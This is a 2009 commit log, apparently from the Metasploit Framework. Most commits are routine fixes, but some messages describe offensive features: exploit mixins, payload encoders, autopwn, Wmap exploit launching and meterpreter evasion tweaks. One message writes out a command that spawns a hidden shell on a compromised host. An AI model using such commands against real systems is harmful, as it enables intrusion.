Commit Graph

2478 Commits (54095a585e5afbb3f1e76998b40d64e787e5962e)

Author SHA1 Message Date
James Lee 723aa65df0 refuse to migrate into the current process. fixes #418
git-svn-id: file:///home/svn/framework3/trunk@7618 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-25 23:24:01 +00:00
HD Moore f3006f78c9 Fix up handling of service-less vulnerabilities
git-svn-id: file:///home/svn/framework3/trunk@7612 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-25 18:03:25 +00:00
James Lee 6bd2e7f5b4 dup http resource so modules don't inadvertantly modify it
git-svn-id: file:///home/svn/framework3/trunk@7608 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-25 06:45:14 +00:00
et 70d5e219e4 Additional reporting methods removed
git-svn-id: file:///home/svn/framework3/trunk@7607 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-25 06:20:21 +00:00
et 252cdcfb92 Removing unnecesary reporting methods
git-svn-id: file:///home/svn/framework3/trunk@7606 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-25 06:11:52 +00:00
et 5b81d85447 Replaced reporting to use notes
git-svn-id: file:///home/svn/framework3/trunk@7605 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-25 06:08:28 +00:00
HD Moore b460843929 Fixes #574. Uses compatible_payloads as the initial list for finding a match
git-svn-id: file:///home/svn/framework3/trunk@7604 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-25 02:24:41 +00:00
HD Moore 49b6111dbc Correctly print vulnerability references when there is no associated service
git-svn-id: file:///home/svn/framework3/trunk@7600 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-25 01:44:55 +00:00
James Lee d5e09a90e2 add minver and maxver options and prepare for universal module ranking
git-svn-id: file:///home/svn/framework3/trunk@7598 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-24 21:40:02 +00:00
HD Moore 3796cf3865 Fixes #567, hands the case where the svn directories were moved
git-svn-id: file:///home/svn/framework3/trunk@7593 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-24 12:47:05 +00:00
et e354c8dbcc Multiple headers handling bug fixes
git-svn-id: file:///home/svn/framework3/trunk@7588 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-24 05:27:11 +00:00
James Lee f8d84a7dc9 prevent loading the same dispatcher multiple times. fixes #560
git-svn-id: file:///home/svn/framework3/trunk@7587 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-24 01:07:19 +00:00
et a3d4e1c44a Added command to launch msfproxy from console
git-svn-id: file:///home/svn/framework3/trunk@7584 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-23 03:38:05 +00:00
James Lee 6e7c4a77a9 add detection for ie6 on xpsp2
git-svn-id: file:///home/svn/framework3/trunk@7572 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-20 06:08:09 +00:00
James Lee 3b6126bfd9 actually commit what i said i was committing. =(
git-svn-id: file:///home/svn/framework3/trunk@7567 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-18 06:35:44 +00:00
James Lee 14a0040b8a move nmap xml parsing into Rex::Parser; add a test to make sure it works
git-svn-id: file:///home/svn/framework3/trunk@7566 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-18 06:15:45 +00:00
HD Moore f327418804 Fixes #553. Adds a timeout for all FTP commands and removes the unbounded fd.get
git-svn-id: file:///home/svn/framework3/trunk@7564 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-18 03:04:25 +00:00
Joshua Drake 56f0ef00e6 fix pad handling
git-svn-id: file:///home/svn/framework3/trunk@7562 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-18 00:50:44 +00:00
Joshua Drake 0ebff0e5ea allow target override
git-svn-id: file:///home/svn/framework3/trunk@7559 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-17 23:30:17 +00:00
Joshua Drake dd62aa6a98 add format string exploit mixin
git-svn-id: file:///home/svn/framework3/trunk@7558 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-17 22:29:43 +00:00
Joshua Drake 98c60be1f1 rough cut at some format string support
git-svn-id: file:///home/svn/framework3/trunk@7556 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-17 22:14:44 +00:00
HD Moore 4b9a54a2f6 Fixes #529 by correcting the variable name
git-svn-id: file:///home/svn/framework3/trunk@7555 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-17 12:45:34 +00:00
HD Moore e88ef79af8 And here we go again...
git-svn-id: file:///home/svn/framework3/trunk@7554 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-17 04:01:10 +00:00
HD Moore c7712d45d6 Mark this as 3.3-release, hopefully this is the last commit before 3.4-dev starts
git-svn-id: file:///home/svn/framework3/trunk@7551 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-17 00:06:44 +00:00
HD Moore a92fbb1ff4 Fixes #526. Correct socket name and call to super in the socket output io
git-svn-id: file:///home/svn/framework3/trunk@7548 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-16 23:35:34 +00:00
HD Moore 9b1935eb2a Fixes #522. Allow RHOSTS to contain hostnames with dashes
git-svn-id: file:///home/svn/framework3/trunk@7547 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-16 23:20:59 +00:00
HD Moore dc0dc98771 Fixes #517. Disables meterpreter stages for passivex stagers
git-svn-id: file:///home/svn/framework3/trunk@7546 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-16 22:45:33 +00:00
Joshua Drake d8b9e030e3 really fixed, test case: "db_create/db_nmap -P"
git-svn-id: file:///home/svn/framework3/trunk@7543 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-16 19:13:33 +00:00
Joshua Drake 6d18c6dd53 bugfix for NMAP failure, test case: "db_nmap -P"
git-svn-id: file:///home/svn/framework3/trunk@7542 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-16 19:06:42 +00:00
James Lee 36921e6d4b fix a bug where a failed encoder would try to convert nil to Integer. see #519
git-svn-id: file:///home/svn/framework3/trunk@7540 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-16 18:57:04 +00:00
HD Moore 3f811a801e Fixes #509. Fix the last shadowed var issue, the rest dont seem significant
git-svn-id: file:///home/svn/framework3/trunk@7537 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-16 18:34:08 +00:00
HD Moore 0251f21dc9 See #509
git-svn-id: file:///home/svn/framework3/trunk@7536 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-16 18:30:07 +00:00
HD Moore 58711ec7ad See #509
git-svn-id: file:///home/svn/framework3/trunk@7535 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-16 18:28:45 +00:00
HD Moore 8cadfe66cf Mostly cosmetic
git-svn-id: file:///home/svn/framework3/trunk@7530 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-16 15:16:08 +00:00
HD Moore ba5da501bf Log the exploit name when the module raises an exception, helps track down bugs during automation
git-svn-id: file:///home/svn/framework3/trunk@7529 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-16 15:08:58 +00:00
HD Moore 5c39fd102a Tag this a rc1, one more big bug shakeout
git-svn-id: file:///home/svn/framework3/trunk@7526 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-16 03:30:16 +00:00
HD Moore d67cb3cdde Really fixes #464
git-svn-id: file:///home/svn/framework3/trunk@7525 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-16 02:52:23 +00:00
HD Moore ba9f7b41b3 Fix save() again
git-svn-id: file:///home/svn/framework3/trunk@7524 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-16 02:48:00 +00:00
HD Moore 1ad262a53e Fixes #464 by using the correct logic to only save user defined variables and to reset default options after a register_*_options call by a mixin
git-svn-id: file:///home/svn/framework3/trunk@7523 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-16 02:39:08 +00:00
HD Moore 18ba91cebc Adds the find/save wrapper back, it seems to help a little, but doesn't solve all cases. See #514
git-svn-id: file:///home/svn/framework3/trunk@7517 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-14 22:11:53 +00:00
HD Moore 291aad8cc1 Fixes #516 and fixes #515. This patch makes database support a little more user-friendly. The db commands now accept -h and --help, the db_drivers command will indicate how to install support for a given database, the db_create/db_destroy commands will indicate what tools are required to use them, and the postgres driver will now roperly handle sameuser authentication over a unix domain socket with postgres-pr
git-svn-id: file:///home/svn/framework3/trunk@7516 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-14 21:41:38 +00:00
James Lee e296ec92ea more uninitalized var warnings
git-svn-id: file:///home/svn/framework3/trunk@7513 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-14 06:21:22 +00:00
James Lee d3d406f405 more unitialized goodness
git-svn-id: file:///home/svn/framework3/trunk@7501 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-13 23:53:17 +00:00
HD Moore f011c7d580 rc1 -> testing
git-svn-id: file:///home/svn/framework3/trunk@7498 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-13 22:52:29 +00:00
HD Moore eabfff5aca Adds the last updated date to the output
git-svn-id: file:///home/svn/framework3/trunk@7497 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-13 22:50:12 +00:00
James Lee a3c020fef2 more uninitialized var warnings
git-svn-id: file:///home/svn/framework3/trunk@7495 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-13 22:11:52 +00:00
James Lee 8471baa62a fix another uninitialized class var warning
git-svn-id: file:///home/svn/framework3/trunk@7494 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-13 22:00:16 +00:00
James Lee 80ee6157ed fix a few warnings
git-svn-id: file:///home/svn/framework3/trunk@7492 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-13 20:28:36 +00:00
James Lee b762ca5ece fix '@initialized not initialized' warning
git-svn-id: file:///home/svn/framework3/trunk@7489 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-13 17:31:57 +00:00
James Lee 8c28c38da3 remove busted unit test
git-svn-id: file:///home/svn/framework3/trunk@7482 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-12 19:49:35 +00:00
HD Moore 500eb85a58 Fix a typo in ^L support
git-svn-id: file:///home/svn/framework3/trunk@7476 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-12 06:31:50 +00:00
HD Moore 8c65a0f48c Handle interrupts without showing a backtrace
git-svn-id: file:///home/svn/framework3/trunk@7473 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-12 05:56:52 +00:00
James Lee 62470e47a7 Skip closed/filtered ports when db_autopwning
git-svn-id: file:///home/svn/framework3/trunk@7462 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-11 00:58:08 +00:00
James Lee c7967e00d7 handle both 'open' and 'up' for port state in db_services
git-svn-id: file:///home/svn/framework3/trunk@7460 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-11 00:29:44 +00:00
James Lee 029d0bae47 save the port state regardless of whether we know the name
git-svn-id: file:///home/svn/framework3/trunk@7459 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-11 00:22:03 +00:00
James Lee 73a0ef8b64 actually save port state
git-svn-id: file:///home/svn/framework3/trunk@7458 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-11 00:16:52 +00:00
James Lee 78c88c888f don't backtrace just because the client cancelled
git-svn-id: file:///home/svn/framework3/trunk@7453 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-10 19:38:18 +00:00
James Lee 7e177962bf tell the user what port we're listening on
git-svn-id: file:///home/svn/framework3/trunk@7452 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-10 17:39:51 +00:00
James Lee b64d12c846 sort jobs numerically
git-svn-id: file:///home/svn/framework3/trunk@7451 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-10 17:16:49 +00:00
James Lee 3dfaf32bc8 trying out bold colors
git-svn-id: file:///home/svn/framework3/trunk@7450 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-10 16:49:26 +00:00
James Lee 2cbb32550c fix meterp sessions getting initialized improperly, fix msf> prompt in exploit context after color cmd
git-svn-id: file:///home/svn/framework3/trunk@7449 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-10 16:10:39 +00:00
HD Moore 2c3cace80c Fix up the classes needed by msfweb. Fixes #495
git-svn-id: file:///home/svn/framework3/trunk@7447 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-10 15:59:49 +00:00
James Lee 3628a3d3c6 fix sessions breaking right away when interacting. command dispatcher still appears to be hosed
git-svn-id: file:///home/svn/framework3/trunk@7446 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-10 15:55:42 +00:00
HD Moore 3db9bbfaae See #493. Initialize the prompt
git-svn-id: file:///home/svn/framework3/trunk@7445 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-10 15:33:14 +00:00
HD Moore 69dbb7b4b0 Address some of #493
git-svn-id: file:///home/svn/framework3/trunk@7444 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-10 15:26:40 +00:00
James Lee daf58b6deb get rid of the single-character escapes so we're less likely to see accidental color substitutions
git-svn-id: file:///home/svn/framework3/trunk@7443 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-10 07:12:56 +00:00
James Lee fd4e4154cd add a new 'color' command that lets the user force color on or off.
git-svn-id: file:///home/svn/framework3/trunk@7442 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-10 06:58:01 +00:00
James Lee a8d9da0d3d initial color support. will add ability to change colors from console soon. see #344
git-svn-id: file:///home/svn/framework3/trunk@7440 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-10 03:27:48 +00:00
HD Moore 2bec0701a7 Fixes a crash on startup when no svn directories are present
git-svn-id: file:///home/svn/framework3/trunk@7438 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-10 03:05:12 +00:00
HD Moore acea0f87fb Correct the formatting of the old age warning. Obviously nobody would have seen this for another 5 days :)
git-svn-id: file:///home/svn/framework3/trunk@7436 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-09 23:45:21 +00:00
James Lee e73d4ead7f handle a broken socket gracefully, fixes a backtrace in msfd
git-svn-id: file:///home/svn/framework3/trunk@7432 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-09 20:10:53 +00:00
HD Moore 9f2845dcaf Add channel support back in, patch from dragorn
git-svn-id: file:///home/svn/framework3/trunk@7430 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-09 19:52:18 +00:00
pusscat 493f56be57 https://metasploit.com/redmine/issues/430
Change this line so that 0xf0 is now used as an xor base



git-svn-id: file:///home/svn/framework3/trunk@7428 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-09 18:47:46 +00:00
James Lee 7007a80c13 make the vbs generation a little faster and the generated file a little smaller
git-svn-id: file:///home/svn/framework3/trunk@7427 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-09 18:32:03 +00:00
James Lee 95d9f5e676 raise instead of exit
git-svn-id: file:///home/svn/framework3/trunk@7426 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-09 18:27:30 +00:00
Joshua Drake 927fe6b6c2 update pattern_offset to show all ocurrences
git-svn-id: file:///home/svn/framework3/trunk@7425 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-09 17:50:53 +00:00
Joshua Drake c372c68f48 fix whitespace
git-svn-id: file:///home/svn/framework3/trunk@7423 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-09 06:19:59 +00:00
HD Moore 3853073731 Fixes #489. Change this a bit to be proper syntax
git-svn-id: file:///home/svn/framework3/trunk@7422 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-09 06:16:29 +00:00
Joshua Drake 07cfae0f14 added myself to author.rb
git-svn-id: file:///home/svn/framework3/trunk@7420 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-09 04:45:22 +00:00
HD Moore d29f6e17dc Fixes #486. Add the Revision constant abck
git-svn-id: file:///home/svn/framework3/trunk@7416 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-09 03:22:24 +00:00
HD Moore 5581f5a73b Parse SVN information and warns folks with out of date installations
git-svn-id: file:///home/svn/framework3/trunk@7415 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-09 01:50:44 +00:00
HD Moore 176e999f08 Merge patches from Ryan Linn. Fixes #438
git-svn-id: file:///home/svn/framework3/trunk@7413 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-09 00:33:40 +00:00
HD Moore dbde29521c Minor typo fixed
git-svn-id: file:///home/svn/framework3/trunk@7412 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-09 00:15:54 +00:00
HD Moore 6885ffa48f Improvements to the SSL TCP Server mixin
git-svn-id: file:///home/svn/framework3/trunk@7409 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-09 00:13:25 +00:00
HD Moore e92a193f8c Correct a typo
git-svn-id: file:///home/svn/framework3/trunk@7408 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-09 00:11:47 +00:00
James Lee 1b7fb68f52 More useful error when given invalid register name, fix error message to be consistent with code when offset is too large
git-svn-id: file:///home/svn/framework3/trunk@7407 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-08 19:42:58 +00:00
HD Moore 06372f3c40 See #430. This adds the AllowWin32SEH option to the upper/mixed alphanumeric encoders, providing 100% alphanumeric payloads for Windows platforms
git-svn-id: file:///home/svn/framework3/trunk@7405 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-08 00:45:51 +00:00
HD Moore d09d151f31 Disable stager + single chaining, it causes confusion and often breaks.
git-svn-id: file:///home/svn/framework3/trunk@7400 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-07 22:13:04 +00:00
et 7b832b9d3e Wmap checking for vulnerabilities and launching exploits
git-svn-id: file:///home/svn/framework3/trunk@7399 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-07 21:55:33 +00:00
HD Moore 0fe06c614f Fixes #473. Import Sussaro's patch (wee!)
git-svn-id: file:///home/svn/framework3/trunk@7395 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 21:08:34 +00:00
HD Moore cae79f8b3b Add a comment describing the extension
git-svn-id: file:///home/svn/framework3/trunk@7394 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 21:00:13 +00:00
HD Moore 836624570b Disabling unfinished ESPIA commands
git-svn-id: file:///home/svn/framework3/trunk@7393 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 20:58:57 +00:00
HD Moore d82d687ea6 Fixes #478. Handles the screenshot command better, defaults to a random bmp
git-svn-id: file:///home/svn/framework3/trunk@7392 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 20:58:24 +00:00
HD Moore c5ace6ef28 Use the open_file API
git-svn-id: file:///home/svn/framework3/trunk@7391 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 20:47:45 +00:00
HD Moore 5d129bdb53 Add open_file() to work around url vs file handling issues on cygwin
git-svn-id: file:///home/svn/framework3/trunk@7390 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 20:43:00 +00:00
HD Moore 1dad276f58 ...and back again. Looks like cygwin / 1.9.1 DL is a little different
git-svn-id: file:///home/svn/framework3/trunk@7389 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 20:28:25 +00:00
HD Moore 1a280c3a0a Switch to shell open
git-svn-id: file:///home/svn/framework3/trunk@7388 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 20:26:05 +00:00
HD Moore 1bb29e2835 See #478. Handle cygwin better for open url
git-svn-id: file:///home/svn/framework3/trunk@7387 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 20:22:28 +00:00
HD Moore 948e1ba5e9 Dont repeat the stdout
git-svn-id: file:///home/svn/framework3/trunk@7386 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 20:15:12 +00:00
HD Moore 0cc3db65be This works but stdout needs to be hidden
git-svn-id: file:///home/svn/framework3/trunk@7385 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 17:43:13 +00:00
HD Moore dc2c355703 Use nmap without the absolute path... Cygwin is annoying.
git-svn-id: file:///home/svn/framework3/trunk@7384 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 17:32:13 +00:00
HD Moore f985349a26 Place all arguments in quotes
git-svn-id: file:///home/svn/framework3/trunk@7383 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 17:30:25 +00:00
HD Moore bf0e856c1f Trying a different approach - buffing output to a file and using system to overcome bugs in IO.popen on Cygwin
git-svn-id: file:///home/svn/framework3/trunk@7382 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 17:27:28 +00:00
HD Moore 55b5b828f2 Use the relative path to nmap
git-svn-id: file:///home/svn/framework3/trunk@7381 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 17:15:26 +00:00
HD Moore 1c51182b39 One more shot
git-svn-id: file:///home/svn/framework3/trunk@7380 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 17:12:19 +00:00
HD Moore 5de9a090a9 Another attempt at correct path translation
git-svn-id: file:///home/svn/framework3/trunk@7379 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 17:09:31 +00:00
James Lee adf5b531eb make sure the address type is IP (not mac). fixes #476
git-svn-id: file:///home/svn/framework3/trunk@7378 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 16:44:02 +00:00
HD Moore 0604fbfd71 Workaround broken cygpath behavior with the cygwin path contains 8.3 names
git-svn-id: file:///home/svn/framework3/trunk@7377 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 16:43:14 +00:00
HD Moore 43edce7db8 Correct implementation (any instance of cygdrive in the path indicates a file outside the environment)
git-svn-id: file:///home/svn/framework3/trunk@7376 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 16:03:40 +00:00
HD Moore 4fde76e8f6 Expand to a windows path if the exe is outside of the cygwin installation
git-svn-id: file:///home/svn/framework3/trunk@7375 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 16:01:24 +00:00
HD Moore 48fb445609 Fixes #446. Oddly enough, stty on cygwin uses term escapes in stderr as well as stdout to set the console mode. This is going to reopen #426 (errors when stdin isnt a tty). A better solution for #426 is going to be checking for stdin = terminal and ignoring readline entirely
git-svn-id: file:///home/svn/framework3/trunk@7374 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 15:27:13 +00:00
James Lee df2f2c0711 typo
git-svn-id: file:///home/svn/framework3/trunk@7369 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-05 21:23:28 +00:00
James Lee e3e2d01fd2 parse nmap xml with a stream parser instead of a tree parser. fixes #251, i hope
git-svn-id: file:///home/svn/framework3/trunk@7368 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-05 20:26:28 +00:00
HD Moore 566234bcb1 Import Max's VBA2EXE code
git-svn-id: file:///home/svn/framework3/trunk@7364 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-05 02:48:56 +00:00
HD Moore 8309599ca3 Fixes #463. Missing a return value in exe.rb and missing a default format in msfencode
git-svn-id: file:///home/svn/framework3/trunk@7357 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-04 21:30:00 +00:00
HD Moore 34d76a72e0 Fixes #462. Handle proxy errors like regular socket errors. This can lead to missing results in tests, so we may need to add special proxy exception checks to the scanner mixin
git-svn-id: file:///home/svn/framework3/trunk@7352 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-04 16:36:06 +00:00
HD Moore 45391a9ba9 Fixes byte vs char handling on Ruby 1.9.1, partial solution for see #430.
git-svn-id: file:///home/svn/framework3/trunk@7349 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-04 05:31:54 +00:00
HD Moore 58ac7efcfa Fixes #457. Oddly enough, it was the nop sled garbling registers
git-svn-id: file:///home/svn/framework3/trunk@7342 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-03 23:50:32 +00:00
HD Moore 70bb99b0df Fixes #458. Break VBS lines into shorter ones
git-svn-id: file:///home/svn/framework3/trunk@7339 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-03 20:31:28 +00:00
HD Moore 785ab0921d Clean up argument passing, cosmetic
git-svn-id: file:///home/svn/framework3/trunk@7338 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-03 20:00:43 +00:00
HD Moore 83fece42fe Handle HTTP failures more gracefully
git-svn-id: file:///home/svn/framework3/trunk@7335 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-03 18:10:09 +00:00
HD Moore 737dc327a3 Fixes #435. Resolves a long-standing issue where datastore entries with a default of 'false' were being ignored.
git-svn-id: file:///home/svn/framework3/trunk@7334 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-03 18:09:05 +00:00
HD Moore 7da02115c6 Fixes #453 - 'spoof' the real readline to prevent future requires from loading it
git-svn-id: file:///home/svn/framework3/trunk@7327 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-02 20:18:49 +00:00
HD Moore 1b5cc24eab See #434. Some libraries used the wrong exception class
git-svn-id: file:///home/svn/framework3/trunk@7325 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-02 18:20:02 +00:00
HD Moore 075b8c5fa4 Fixes #434. Always use Timeout.timeout() -- on Ruby 1.9 this results in the Timeout::TimeoutError exception vs RuntimeError
git-svn-id: file:///home/svn/framework3/trunk@7323 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-02 18:14:57 +00:00
HD Moore 176996fe61 Fixes #452. Solves a number of crashes caused by Regexp.new() on 1.9 without an explicit language specified
git-svn-id: file:///home/svn/framework3/trunk@7320 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-02 17:09:13 +00:00
HD Moore c0a0507fdf Fixes #441. Unpack the version in a way that works with 1.9
git-svn-id: file:///home/svn/framework3/trunk@7319 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-02 15:09:54 +00:00
HD Moore f13903f39b Fixes #442. Switch capture to work like lorcon2, works around a blocking issue with ruby 1.9
git-svn-id: file:///home/svn/framework3/trunk@7317 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-02 14:36:53 +00:00
HD Moore 21e82d8b69 This patch implements a much more flexible executable creation scheme at the cost of exe size. This also adds the "-x" option to msfencode, allowing the user to specify their own executable template for generation.
git-svn-id: file:///home/svn/framework3/trunk@7315 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-01 04:11:43 +00:00
HD Moore e5e89906d0 Switch the meterpreter to SSLv3 and try to generate a slightly more realistic CN for the certificate. The goal is to work through a wider range of inline proxies.
git-svn-id: file:///home/svn/framework3/trunk@7311 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-31 20:44:23 +00:00
et 20be000d47 Wmap able to load exploits and check for vulnerabilities. Next step exploit if vulnerable
git-svn-id: file:///home/svn/framework3/trunk@7302 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-29 03:16:27 +00:00
HD Moore ef302da508 Allow the interrupt exception to still propogate up
git-svn-id: file:///home/svn/framework3/trunk@7301 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-28 19:39:16 +00:00
HD Moore b444fdfa33 Handles fatal exceptions and prevents the framework from exiting, fixes #424
git-svn-id: file:///home/svn/framework3/trunk@7300 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-28 19:37:43 +00:00
HD Moore 8377077297 Huide the error output from stty execs. Fixes #426
git-svn-id: file:///home/svn/framework3/trunk@7299 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-28 19:37:19 +00:00
HD Moore 3cf4329335 Updates the autopwn matching algorithm to use multiple ports and service names
git-svn-id: file:///home/svn/framework3/trunk@7298 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-28 18:04:50 +00:00
HD Moore 9141d4e967 Condense the lorcon2 each_packet method, the queue isnt necessary after testing
git-svn-id: file:///home/svn/framework3/trunk@7294 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-28 01:41:17 +00:00
HD Moore 31276e1626 Fixes #427. Finally found a solution that works for 1.8 and 1.9, this allows lorcon modules to run in the background or foreground and handle interrupts from the console gracefully. Its still a hack
git-svn-id: file:///home/svn/framework3/trunk@7293 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-28 00:19:17 +00:00
HD Moore 5234fe8ff8 Fixes 416. Adds the rm/del commands to meterpreter, fixes build problems triggered by the POSIX code merge
git-svn-id: file:///home/svn/framework3/trunk@7291 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-27 02:31:07 +00:00
HD Moore 6dcffd0373 Catch attempts to migrate to a name vs a pid
git-svn-id: file:///home/svn/framework3/trunk@7289 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-27 00:56:56 +00:00
HD Moore 8d8bc45dfd Adds a shortcut for getting a shell (execute -f cmd -c -i -H) is now just "shell"
git-svn-id: file:///home/svn/framework3/trunk@7288 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-27 00:47:00 +00:00
HD Moore e1559b1ab4 Fixes #408. Trims leads spaces, adds trailing space, prevents line wipe when tab completing is done
git-svn-id: file:///home/svn/framework3/trunk@7284 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-26 20:33:55 +00:00
HD Moore 5e137e92fd Fixes #381. To scan for TLSv1 only services, set SSLVersion TLS1
git-svn-id: file:///home/svn/framework3/trunk@7282 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-26 19:48:15 +00:00
HD Moore 478a7ce8ab Fixes #410. Calls the real _close function, not the best solution, but will do until we fix the IO::Stream override.
git-svn-id: file:///home/svn/framework3/trunk@7281 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-26 19:06:50 +00:00
HD Moore 91dd38550f Fixes #398. Allow globals to override local defaults, but fallthrough to local defaults if no global or local is set
git-svn-id: file:///home/svn/framework3/trunk@7280 4d416f70-5f16-0410-b530-b9f4589650da
